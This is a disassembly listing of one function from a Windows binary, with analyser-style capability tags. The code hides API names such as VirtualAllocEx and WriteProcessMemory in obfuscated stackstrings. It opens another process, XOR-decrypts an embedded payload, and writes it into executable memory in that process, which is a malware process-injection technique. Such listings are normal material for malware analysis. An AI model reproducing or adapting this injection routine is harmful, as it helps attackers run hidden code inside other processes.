Function at 0x180003460
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Parse pe header

Disassembly:
sub rsp, 0x3d8
mov rax, qword [0x180008008]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
call fcn.180002d80
mov dword [rsp + 0x48], 0
mov byte [rsp + 0x350], 0x56
mov byte [rsp + 0x351], 0x69
mov byte [rsp + 0x352], 0x72
mov byte [rsp + 0x353], 0x74
mov byte [rsp + 0x354], 0x75
mov byte [rsp + 0x355], 0x61
mov byte [rsp + 0x356], 0x6c
mov byte [rsp + 0x357], 0x41
mov byte [rsp + 0x358], 0x6c
mov byte [rsp + 0x359], 0x6c
mov byte [rsp + 0x35a], 0x6f
mov byte [rsp + 0x35b], 0x63
mov byte [rsp + 0x35c], 0
mov byte [rsp + 0x360], 0x52
mov byte [rsp + 0x361], 0x65
mov byte [rsp + 0x362], 0x73
mov byte [rsp + 0x363], 0x75
mov byte [rsp + 0x364], 0x6d
mov byte [rsp + 0x365], 0x65
mov byte [rsp + 0x366], 0x54
mov byte [rsp + 0x367], 0x68
mov byte [rsp + 0x368], 0x72
mov byte [rsp + 0x369], 0x65
mov byte [rsp + 0x36a], 0x61
mov byte [rsp + 0x36b], 0x64
mov byte [rsp + 0x36c], 0
mov byte [rsp + 0x390], 0x57
mov byte [rsp + 0x391], 0x72
mov byte [rsp + 0x392], 0x69
mov byte [rsp + 0x393], 0x74
mov byte [rsp + 0x394], 0x65
mov byte [rsp + 0x395], 0x50
mov byte [rsp + 0x396], 0x72
mov byte [rsp + 0x397], 0x6f
mov byte [rsp + 0x398], 0x63
mov byte [rsp + 0x399], 0x65
mov byte [rsp + 0x39a], 0x73
mov byte [rsp + 0x39b], 0x73
mov byte [rsp + 0x39c], 0x4d
mov byte [rsp + 0x39d], 0x65
mov byte [rsp + 0x39e], 0x6d
mov byte [rsp + 0x39f], 0x6f
mov byte [rsp + 0x3a0], 0x72
mov byte [rsp + 0x3a1], 0x79
mov byte [rsp + 0x3a2], 0
mov byte [rsp + 0x380], 0x63
mov byte [rsp + 0x381], 0x6f
mov byte [rsp + 0x382], 0x6e
mov byte [rsp + 0x383], 0x68
mov byte [rsp + 0x384], 0x6f
mov byte [rsp + 0x385], 0x73
mov byte [rsp + 0x386], 0x74
mov byte [rsp + 0x387], 0x2e
mov byte [rsp + 0x388], 0x65
mov byte [rsp + 0x389], 0x78
mov byte [rsp + 0x38a], 0x65
mov byte [rsp + 0x38b], 0
mov byte [rsp + 0x370], 0x56
mov byte [rsp + 0x371], 0x69
mov byte [rsp + 0x372], 0x72
mov byte [rsp + 0x373], 0x74
mov byte [rsp + 0x374], 0x75
mov byte [rsp + 0x375], 0x61
mov byte [rsp + 0x376], 0x6c
mov byte [rsp + 0x377], 0x41
mov byte [rsp + 0x378], 0x6c
mov byte [rsp + 0x379], 0x6c
mov byte [rsp + 0x37a], 0x6f
mov byte [rsp + 0x37b], 0x63
mov byte [rsp + 0x37c], 0x45
mov byte [rsp + 0x37d], 0x78
mov byte [rsp + 0x37e], 0
mov byte [rsp + 0x3a8], 0x4e
mov byte [rsp + 0x3a9], 0x74
mov byte [rsp + 0x3aa], 0x57
mov byte [rsp + 0x3ab], 0x72
mov byte [rsp + 0x3ac], 0x69
mov byte [rsp + 0x3ad], 0x74
mov byte [rsp + 0x3ae], 0x65
mov byte [rsp + 0x3af], 0x56
mov byte [rsp + 0x3b0], 0x69
mov byte [rsp + 0x3b1], 0x72
mov byte [rsp + 0x3b2], 0x74
mov byte [rsp + 0x3b3], 0x75
mov byte [rsp + 0x3b4], 0x61
mov byte [rsp + 0x3b5], 0x6c
mov byte [rsp + 0x3b6], 0x4d
mov byte [rsp + 0x3b7], 0x65
mov byte [rsp + 0x3b8], 0x6d
mov byte [rsp + 0x3b9], 0x6f
mov byte [rsp + 0x3ba], 0x72
mov byte [rsp + 0x3bb], 0x79
mov byte [rsp + 0x3bc], 0
mov byte [rsp + 0x3bd], 0x5f
mov byte [rsp + 0x3be], 0x74
mov byte [rsp + 0x3bf], 0
mov ecx, 2
call fcn.1800023c0
lea rdx, str.GetThreadContext
mov rcx, rax
call fcn.180002740
mov qword [rsp + 0xa0], rax
mov ecx, 2
call fcn.1800023c0
lea rdx, str.SetThreadContext
mov rcx, rax
call fcn.180002740
mov qword [rsp + 0xa8], rax
mov ecx, 2
call fcn.1800023c0
lea rdx, [rsp + 0x350]
mov rcx, rax
call fcn.180002740
mov qword [rsp + 0x68], rax
mov ecx, 2
call fcn.1800023c0
lea rdx, [rsp + 0x360]
mov rcx, rax
call fcn.180002740
mov qword [rsp + 0xb0], rax
mov ecx, 2
call fcn.1800023c0
lea rdx, [rsp + 0x370]
mov rcx, rax
call fcn.180002740
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x38], 0
mov r8d, dword [0x180008ac0]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x180008ac8], rax
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x37e
xor ecx, ecx
call qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0xd0]
call fcn.180003db0
nop
mov dword [rsp + 0x110], 0x238
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1800038b1
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800038b1
mov eax, dword [rsp + 0x60]
cmp dword [rsp + 0x64], eax
je 0x1800038da
mov dword [rsp + 0x48], 1
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x37e
xor edx, edx
mov rcx, qword [0x180008ac8]
call qword [rsp + 0x70]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x34], 0
jmp 0x18000391f
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
movsxd rax, dword [rsp + 0x34]
cmp rax, 0x37e
jae 0x1800039bf
movsxd rax, dword [rsp + 0x34]
lea rcx, [0x180008050]
movzx eax, byte [rcx + rax]
mov dword [rsp + 0x4c], eax
movsxd rcx, dword [rsp + 0x34]
xor edx, edx
mov rax, rcx
mov ecx, 0x20
div rcx
mov rax, rdx
lea rcx, str.i3B
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x4c]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x30], al
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x78], rax
lea rdx, str.YWRtaW4rKw
mov rcx, qword [rsp + 0x78]
call fcn.180003df0
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x80]
mov r8d, dword [rsp + 0x34]
movzx edx, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
call fcn.180003aa0
jmp 0x180003915
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x88], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0xb8]
mov rcx, qword [rsp + 0x88]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x98], rax
lea rdx, [fcn.180003460]
lea rcx, str._llx_n
call fcn.1800021b0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 0x37e
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [0x180008ac8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
call fcn.180003280
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x20], rcx
mov r9d, 0x5a
mov r8, rax
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
lea rcx, [rsp + 0xd0]
call fcn.180003d90
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.1800041e0
add rsp, 0x3d8
ret